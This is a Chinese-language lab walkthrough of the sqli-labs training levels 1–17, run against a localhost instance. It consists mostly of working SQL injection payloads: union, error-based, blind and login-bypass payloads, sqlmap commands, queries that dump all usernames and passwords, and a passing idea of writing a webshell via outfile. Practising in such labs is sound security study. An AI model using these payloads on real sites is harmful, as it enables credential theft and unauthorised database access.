Less-1
常规的联合注入
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')%23
读取所有人的账号密码:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(concat_ws(':',username,password)) from users ),3%23
报错注入:
Floor为例:
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((
select group_concat(table_name) from information_schema.tables where table_schema=database()
),0x7e,floor(rand(0)*2))) %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
),0x7e,floor(rand(0)*2))) %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((
select concat_ws(':',username,password) from users limit 0,1
),0x7e,floor(rand(0)*2))) %23
因为输出字长有限制,这里一行行输出
L2略 和L1 类似
练习使用sqlmap
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --dbs
直接可以
L3 用sqlmap可以直接出来
半天不会闭合,看了源码才会
http://127.0.0.1/sqli-labs-master/Less-3/?id=-1’) union select 1,2,3 %23
L4 双引号括号闭合
通过L3有点思路,因为?id=1’ and 1=2 正常,说明 被当做一个字符串 闭合的不是单引号 最后测试出如下:
-1") union select 1,2,3 %23
L5 报错注入
以extractvalue为例
http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(database()))) %23
L6 报错注入
http://127.0.0.1/sqli-labs-master/Less-6/?id=1" and extractvalue(1,concat(0x7e,(database())))%23
L7 outfile的提示有点惊讶 因为outfile需要权限,默认是不打开的(暂时没做)
如果考试遇到打开的情况,是否可以直接把一句话木马写入(但是一句话木马和WWW不在一个文件夹,不知道路径)
L8布尔盲注
http://127.0.0.1/sqli-labs-master/Less-8/?id=1%27%20and%20mid(database(),1,1)=%27s%27%23
L9-L10时间盲注 考试时应该不会考(服务器压力大)
考试内网环境 不知道怎么把requests装上 现代不看
L11 考万能密码登录?
或者登录框里 可以直接注入
1’ union select 1,2 #
1’ and extractvalue(1,concat(0x7e,(database()))) #
L12
使用burp+sqlmap: python sqlmap.py -r post.txt --dbs
参考网上说\ 可以发现是引号和括号问题
1") or 1 or 1#
L13
1’) 闭合 可以使用报错注入
L14
双引号闭合
L15
1’ or 1 or 1#
没有提示,盲注
1’ or mid(database(),1,1)>‘a’ #
测试可用
L16
1") or 1 or 1#
和15关类似
L17
没思路 看下源码
对password进行操作
1’ and extractvalue(1,concat(0x7e,(database()))) and ’